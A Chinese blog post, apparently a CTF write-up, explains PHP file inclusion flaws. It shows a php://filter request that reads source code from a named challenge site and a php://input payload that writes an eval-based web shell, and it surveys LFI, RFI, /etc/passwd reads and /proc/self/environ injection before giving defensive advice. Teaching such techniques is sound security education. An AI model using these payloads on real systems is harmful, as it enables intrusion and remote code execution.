【CTF题】使用文件包含漏洞读取网页代码

【CTF题】使用文件包含漏洞读取网页代码

按照我的理解文件包含漏洞是指网页后端php(或其他)代码中使用了include等文件包含语句,而且所包含的文件由变量控制,恰恰此变量又能通过GET或POST等方式进行修改所造成的。

1.直接包含内有运行代码的文件

比如有一index.php

<?php
  include $_GET['file'];
?>

那么就可以通过抓包修改file值的办法去运行一些本来不该运行的文件

也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)

2.通过PHP内置协议直接读取代码

通过构造如下语句:

http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

题目是南邮网络攻防平台的文件包含题
这里写图片描述

点击“click me?no”以后:
这里写图片描述

可以看到,url变为了:

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

出现了?file=show.php

说明可能有文件包含漏洞,so,构建url如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到了index.php的base64加密后的代码
这里写图片描述

base解密后得到代码:

<html>
    <title>asdf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

可以看到,flag就在这里~

3.写入php文件

使用如下url:

http://xxx.com/index.php?file=php://input

并且在http头里提交

<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>

就能在index.php说在的目录下生成shell.php

未完待续

### CTF 文件包含漏洞利用技巧与解思路 #### 背景介绍 文件包含漏洞是一种常见的Web安全漏洞,通常发生在开发者未对输入参数进行严格校验的情况下。在CTF竞赛中,这种类型的目经常涉及本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。通过这些漏洞,攻击者可以读取服务器上的敏感文件或执行恶意代码。 #### 常见易受攻击的PHP函数 在PHP开发中,`require`, `require_once`, `include`, 和 `include_once` 是最容易引发文件包含漏洞的函数[^2]。当这些函数中的文件路径来源于用户可控的输入时,就可能被用来加载任意文件。 #### 利用技巧 1. **本地文件包含 (LFI)** 攻击者可以通过构造特定的URL来尝试读取系统上存在的文件。例如,在Linux系统下,可以尝试访问 `/etc/passwd` 或其他配置文件。如果目标站点存在过滤机制,则需要绕过这些限制。一种常见方法是使用NULL字节 (`%00`) 来截断字符串验证逻辑[^3]。 2. **伪协议的应用** PHP支持多种内置流封装器(stream wrappers),比如 `file://`, `php://filter`, `zip://` 等。其中特别需要注意的是 `php://input` 和 `php://filter` 的组合使用,它们允许动态生成数据并将其作为虚拟文件供程序调用[^4]。 3. **环境变量注入** Linux系统的特殊文件如 `/proc/self/environ` 可记录当前进程启动时所携带的所有环境变量信息。由于HTTP请求头字段会被映射至某些内部变量表项之中,因此我们能够借助篡改 User-Agent 字段的方式向上述位置嵌入自定义脚本片段,并最终实现反序列化或其他形式的危害行为。 #### 示例代码 以下是基于以上原理的一个简单演示案例: ```php <?php // 模拟脆弱点:直接将GET参数传给 include 函数 $file = $_GET['page']; include($file); ?> ``` 假设此页面地址为 http://example.com/vuln.php?page=home.txt ,那么只要替换掉 page 参数值即可触发相应操作。例如: - 访问http://example.com/vuln.php?page=/etc/passwd 尝试泄露操作系统账户列表; - 如果服务端开启了allow_url_include选项的话甚至可以直接指定外部链接完成更复杂的交互过程。 #### 防护措施建议 为了防止此类问的发生,应当采取如下策略之一或者综合运用多项手段加强防护力度: - 对所有来自客户端的数据都应实施严格的白名单匹配检查。 - 使用框架自带的安全组件替代原始语法结构编写业务逻辑部分。 - 定期审查源码质量以及部署后的运行状态是否存在异常情况发生。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值